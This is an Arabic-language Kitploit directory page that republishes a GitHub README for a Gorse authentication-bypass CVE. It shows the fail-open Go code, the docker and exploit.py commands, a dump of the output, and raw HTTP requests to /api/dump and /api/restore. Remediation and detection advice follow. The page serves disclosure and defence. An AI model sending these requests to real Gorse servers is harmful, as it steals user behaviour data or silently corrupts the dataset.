Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-56782-Gorse-Auth-Bypass — CVE-2026-56782 — Gorse <0.5.10 تفريغ/استعادة قاعدة بيانات غير مصادق عليها (admin_api_key fail-open). مختبر + PoC، تم التحقق منه من البداية إلى النهاية. | Kitploit
أدوات/GitHubGitHub/biitts/cve-2026-56782-gorse-auth-bypass
تحليل الثغرات الأمنيةالاستغلالتسريب البياناتأمن الويبCTFاختبار الاختراقالمصادقةالتعلم والتعليممختبرات وتدريب عملي

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubbiitts/cve-2026-56782-gorse-auth-bypass

CVE-2026-56782-Gorse-Auth-Bypass

CVE-2026-56782 — Gorse <0.5.10 تفريغ/استعادة قاعدة بيانات غير مصادق عليها (admin_api_key fail-open). مختبر + PoC، تم التحقق منه من البداية إلى النهاية.

عرض المستودع
1منذ شهر واحدلم تتم المراجعة بعد

CVE-2026-56782 — Gorse تفريغ/استعادة قاعدة بيانات غير مصادق عليه (تجاوز المصادقة)

Gorse < 0.5.10 يأتي مع admin_api_key = "". نقاط النهاية الرئيسية HTTP /api/dump و /api/restore محمية بفحص مدير يفتح الثغرة عند عدم تكوين مفتاح — وهو الإعداد الافتراضي. يمكن لمهاجم غير مصادق عليه وقابل للوصول عبر الشبكة سرقة مجموعة البيانات بأكملها (المستخدمين، العناصر، الملاحظات / المعرفات الشخصية) أو الكتابة فوقها.

CVECVE-2026-56782
المتأثرGorse < 0.5.10
الإصلاح0.5.10
التصنيفCWE-305 (تجاوز المصادقة بسبب ضعف أساسي) / CWE-306 (غياب المصادقة)
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
المصادقةلا شيء (الافتراضي admin_api_key فارغ)
النقاط النهائيةGET /api/dump, POST /api/restore (master HTTP، المنفذ الافتراضي 8088)
الحالةمؤكد — تم إعادة الإنتاج بالكامل ضد zhenghaoz/gorse-in-one:0.5.8

السبب الجذري

master/rest.go يحمي معالجات التفريغ/الاستعادة باستخدام checkAdmin():

root@kitploit:~
func (m *Master) checkAdmin(request *http.Request) bool {
    if m.Config.Master.AdminAPIKey == "" {
        return true                 // <-- fail-open: no key configured => everyone is admin
    }
    if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
        return true
    }
    return false
}

func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // streams every user, item and feedback row
}

func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // m.Restore(request.Body) — overwrites the dataset
}

الملف المرفق config/config.toml يعيّن admin_api_key = "". مع الإعداد الافتراضي، ترجع checkAdmin() قيمة true لكل طلب — لا يُفحص رأس X-API-Key بتاتًا — لذا فإن كلا النقطتين النهائيتين قابلتان للقراءة والكتابة للجميع.

التأثير

  • السرية — GET /api/dump يدفق قاعدة البيانات كاملة: كل معرف مستخدم وتصنيفاته، كل عنصر، وكل رسم بياني للتغذية الراجعة (من تفاعل مع ماذا). بالنسبة لمشجع يدعم منتجًا حقيقيًا، هذه كتلة من المعرفات الشخصية / بيانات السلوك.
  • السلامة / التوفر — POST /api/restore يستبدل مجموعة البيانات بمحتوى يقدمه المهاجم، مما يمكن من تسميم البيانات أو إتلافها بصمت.

إعادة الإنتاج

root@kitploit:~
# 1. Start the vulnerable server (official image, default config = no auth).
docker compose -f lab/docker-compose.yml up -d
#    --playground seeds a real users/items/feedback dataset to exfiltrate.

# 2. Run the PoC (no credentials).
python3 exploit.py http://127.0.0.1:8088 -o dump.bin

الملاحظ:

root@kitploit:~
[*] GET http://127.0.0.1:8088/api/dump  (no X-API-Key header)
[*] HTTP 200  content-type: application/octet-stream

[+] تم تأكيد سرقة البيانات غير المصادق عليها
    users    : 2079
    items    : 22320
    feedback : 331901
    payload  : 262747105 protobuf bytes
    sample user ids : 0-vortex, 0markill, 0q2, 0x4richard, 0x973

[*] POST http://127.0.0.1:8088/api/restore  (بدون رأس X-API-Key، نص فقط نهاية الملف)
[+] HTTP 200 (وليس 401) - تم تجاوز checkAdmin: /api/restore قابل للكتابة بدون مصادقة.

رأس X-API-Key مزيف لا يزال يرجع 200 — مؤكدا أن المفتاح يُتجاهل تمامًا عندما يكون admin_api_key غير معيّن (مسار الفتح المفتوح)، وليس مجرد عدم تطابق.

الطلبات الأولية

root@kitploit:~
GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088
root@kitploit:~
POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream

<dump stream: int64 LE markers (-1 users, -2 items, -3 feedback, 0 EOF) + length-prefixed protobuf>

المعالجة

  • قم بالترقية إلى Gorse ≥ 0.5.10، الذي يزيل فتح الثغرة الفارغة للمفتاح من فحص المدير (لم يعد المفتاح غير المعيّن يمنح الوصول).
  • كإجراء مؤقت على الإصدارات المتأثرة، قم بتعيين admin_api_key قوي (وكذا بيانات اعتماد dashboard)، وأنهِ TLS أمام السيد، ولا تعرض منفذ HTTP للسيد (8088) أبدًا للشبكات غير الموثوقة.

الكشف

أنشئ تنبيهًا على GET /api/dump أو POST /api/restore إلى منفذ السيد من أي عميل يخلو من X-API-Key صالح، وعلى استجابات application/octet-stream كبيرة من /api/dump.

انظر ANALYSIS.md لتدفق الطلب، تنسيق تيار التفريغ، والتصحيح.


  • المؤلف: Caio Fabrício — github.com/BiiTts
  • يعود الفضل في الثغرة إلى المبلغ الأصلي لـ CVE؛ هذا المستودع هو إعادة إنتاج مستقلة للاستخدام الدفاعي والتعليمي. للاختبارات الأمنية المصرح بها فقط.
تنزيل الأداة